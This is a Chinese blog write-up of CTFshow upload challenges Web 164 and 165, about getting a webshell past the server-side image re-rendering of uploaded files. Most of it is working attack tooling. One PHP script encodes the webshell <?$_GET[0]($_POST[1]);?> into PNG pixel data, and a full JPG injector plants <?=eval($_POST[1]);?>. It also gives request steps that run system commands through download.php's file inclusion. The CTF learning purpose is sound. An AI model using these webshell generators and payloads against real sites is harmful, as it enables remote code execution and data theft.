基于CTFshow的文件上传二次渲染绕过与CTF实战
1. 二次渲染简介
二次渲染指的是上传的文件(如图片),为了显示的更加规范(尺寸、像素),网站会对文件进行二次处理,经过解码或转换可能导致其中的恶意代码失效。例如,后门程序在图像渲染过程中可能被清除或无法执行。
2. 二次渲染存在性判断
2.1 文件大小变化
访问上传的文件地址,重新下载下来,查看文件大小是否发生改变

2.2 图片数据包
将上传图片的发送包和访问文件地址的返回包发到burpsuite的compare模块,查看是否存在差异

3. png绕过二次渲染——Web 164
3.1 题目分析
尝试上传一张正常的图片,下载上传后的文件查看,发现本题对图片进行了二次渲染,写入的php代码容易损坏。
随意写入一些内容,上传失败显示文件类型不合规。本题在在文件上传时进行了CRC(循环冗余校验)以确保文件未被篡改。我们在PNG文件中添加了文字,导致文件结构被破坏,从而无法通过校验。因此我们插入php代码后,必须重新计算相应的crc值并修改才能通过校验

3.2 生成后门图片
因此推荐使用以下脚本直接直接对图片插入后门代码:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
使用方法:
配置php环境变量,在该脚本文件夹下执行以下cmd命令
php 脚本名.php 要修改的图片名.png
然后就会在当前文件夹生成一个1.png,包含的木马内容如下
<?$_GET[0]($_POST[1]);?>
3.3 后门代码利用
访问图片地址,利用如下的恶意代码将想要的内容输出到1.txt
https://xxx/download.php?image=xxxxx&0=system
post:
1=ls > 1.txt
1=tac flag.php >1.txt
访问https://xxx/1.txt,得到以下内容


3.4 为什么图片解析php
在本题中,我通过向图片传php恶意代码,竟然成功执行了,这是为什么呢?
我们tac一下download.php来看一下
} echo "图片é”误";
}else{
include("./upload/".strrev($file));
header('Content-Type:image/png');
if($ext==='.png' && file_exists("./upload/".strrev($file))){
$ext = strrev(substr($file, 0,4));
$file = strrev($file);
$file= $_GET['image'];
代码的逻辑总结:
- 从 URL 获取文件名:通过
$_GET['image']获取传递的文件名。 - 处理文件名:通过
strrev()反转文件名来获取实际的文件,并通过substr()获取文件的扩展名。 - 检查文件是否存在且为 PNG 格式:判断扩展名是否为
.png,以及文件是否存在于./upload/目录。 - 输出图片文件:如果条件满足,包含并输出这个文件,并将响应头设为
image/png以显示 PNG 图片。
这下明白了,本题查看图片的功能是通过文件包含的形式实现的,传入图片的代码被包含到了download.php,从而成功被执行
4. jpg绕过二次渲染——Web 165
4.1 生成后门图片
利用以下脚本生成,需要注意的是:是先上传原图,把二次渲染后的图片进行脚本加工
<?php
/*
将有效载荷注入JPG图像的算法,该算法在PHP函数imagecopyresized()和imagecopyresampled()引起的变换后保持不变。
初始图像的大小和质量必须与处理后的图像的大小和质量相同。
1)通过安全文件上传脚本上传任意图像
2)保存处理后的图像并启动:
php 文件名.php <文件名.jpg >
如果注射成功,您将获得一个特制的图像,该图像应再次上传。
由于使用了最直接的注射方法,可能会出现以下问题:
1)在第二次处理之后,注入的数据可能变得部分损坏。
jpg _ payload.php脚本输出“有问题”。
如果发生这种情况,请尝试更改有效载荷(例如,在开头添加一些符号)或尝试另一个初始图像。
谢尔盖·博布罗夫@Black2Fan。
另请参见:
https://www . idontplaydarts . com/2012/06/encoding-we B- shell-in-png-idat-chunks/
*/
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
后门代码为
<?=eval($_POST[1]);?>
4.2 后门代码利用
https://xxx/download.php?image=xxxxx
post:
1=system("ls > 1.txt");
1=system("tac flag.php > 1.txt");
访问https://xxx/1.txt

5. 宇宙安全声明
本博客所提供的内容仅供学习与交流,旨在提高网络安全技术水平,谨遵守国家相关法律法规,请勿用于违法用途,博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。如果您对文章内容有疑问,可以留言私信。
基于CTFshow的文件上传二次渲染绕过与CTF实战的更多相关文章
- python 全栈开发,Day75(Django与Ajax,文件上传,ajax发送json数据,基于Ajax的文件上传,SweetAlert插件)
昨日内容回顾 基于对象的跨表查询 正向查询:关联属性在A表中,所以A对象找关联B表数据,正向查询 反向查询:关联属性在A表中,所以B对象找A对象,反向查询 一对多: 按字段:xx book ----- ...
- Django与Ajax,文件上传,ajax发送json数据,基于Ajax的文件上传,SweetAlert插件
一.Django与Ajax AJAX准备知识:JSON 什么是 JSON ? JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation) JSON 是轻 ...
- 文件上传二:FormData上传
介绍三种上传方式: 文件上传一:伪刷新上传 文件上传二:FormData上传 文件上传三:base64编码上传 Flash的方式也玩过,现在不推荐用了. 真正的异步上传,FormData的更多操作,请 ...
- 基于jsp的文件上传和下载
参考: 一.JavaWeb学习总结(五十)--文件上传和下载 此文极好,不过有几点要注意: 1.直接按照作者的代码极有可能listfile.jsp文件中 <%@taglib prefix=&qu ...
- 基于tornado的文件上传demo
这里,web框架是tornado的4.0版本,文件上传组件,是用的bootstrap-fileinput. 这个小demo,是给合作伙伴提供的,模拟APP上摄像头拍照,上传给后台服务进行图像识别用,识 ...
- 基于Ajax的文件上传使用FileInput插件(使用谷歌翻译作者的原文,大致意思是对的,自己把握)
bootstrap-fileinput 说明文档:http://plugins.krajee.com/file-input 有许多人希望学习使用bootstrap-fileinput jQuery插件 ...
- Java 网络编程 -- 基于TCP实现文件上传
Java TCP 操作基本流程 一.创建服务器 1.指定端口, 使用serverSocket创建服务器 2.阻塞式连接 accept 3.操作:输入流 输出流 4.释放资源 二.创建客户端 1.使用S ...
- SpringMVC经典系列-12基于SpringMVC的文件上传---【LinusZhu】
注意:此文章是个人原创.希望有转载须要的朋友们标明文章出处,假设各位朋友们认为写的还好,就给个赞哈,你的鼓舞是我创作的最大动力.LinusZhu在此表示十分感谢,当然文章中如有纰漏.请联系linusz ...
- 基于struts2--实现文件上传下载
1. 文件的上传: 1). 表单需要注意的 3 点 ①. method="post" ②. enctype="mulitipart/form-data" ...
- 基于hap的文件上传和下载
序言 现在,绝大部分的应用程序在很多的情况下都需要使用到文件上传与下载的功能,在本文中结合hap利用spirng mvc实现文件的上传和下载,包括上传下载图片.上传下载文档.前端所使用的技术不限,本文 ...
随机推荐
- Git回退服务器版本及receive.denyDeleteCurrent配置
https://blog.csdn.net/sunalongl/article/details/52013435 如果某次修改了某些内容,并且已经commit到本地仓库,而且已经push到远程仓库了, ...
- programmers model
Handler模式一直使用MSP,所以在handler模式下处理器会忽略SPSEL位:异常进入及返回机制会更新CONTROL寄存器. 在操作系统的环境中,推荐线程在Thread模式下运行使用PSP,内 ...
- containerd:配置https私有镜像仓库的最新方法
随着containerd应用越来越广泛,我们必须紧跟官网的节奏. 之前配置https私有镜像仓库的方法比较繁琐,并且不易梳理,下边介绍一下目前最新的配置方法. 配置https私有镜像仓库 我假设你现在 ...
- Argo CD初体验
什么是 Argo CD? Argo CD 是一个声明式的 GitOps 持续交付工具,用于 Kubernetes 集群.它通过持续监控 Git 仓库中的 Kubernetes 资源配置文件,将这些配置 ...
- CSS – RWD (Responsive Web Design) 概念篇
介绍 Only PC 以前是没有手机的, 只有电脑, 所以做开发, 只需要开发电脑版本就可以了. Mobile Version 后来手机诞生, 有钱的公司就做两个版本, 一个手机版, 一个电脑版. 没 ...
- jQuery父子页面之间元素、方法获取、调用
资源来自:https://www.cnblogs.com/it-xcn/p/5896231.html 一.jquery 父.子页面之间页面元素的获取,方法的调用: 1. 父页面获取子页面元素: 格式: ...
- 【赵渝强老师】MongoDB中的索引(上)
索引是提高查询查询效率最有效的手段.索引是一种特殊的数据结构,索引以易于遍历的形式存储了数据的部分内容(如:一个特定的字段或一组字段值),索引会按一定规则对存储值进行排序,而且索引的存储位置在内存中, ...
- 智慧医院IT运维方案,全局网络态势感知
随着医疗卫生体制改革不断深化,卫生行业信息化应用不断普及,大数据.AI.医疗物联网等技术的应用,快速推动"智慧医院"建设.以HIS(医院信息系统).EMRS(电子病历系统).PAC ...
- 北京智和信通 | 无人值守的IDC机房动环综合监控运维
随着信息技术的发展和全面应用,数据中心机房已成为各大企事业单位维持业务正常运营的重要组成部分,网络设备.系统.业务应用数量与日俱增,规模逐渐扩大,一旦机房内的设备出现故障,将对数据处理.传输.存储以及 ...
- Resource Acquisition Is Initialization
在 C++ 中,资源获取即初始化(RAII, Resource Acquisition Is Initialization)是一种管理资源的编程惯用法.其核心思想是将资源的获取和释放绑定到对象的生命周 ...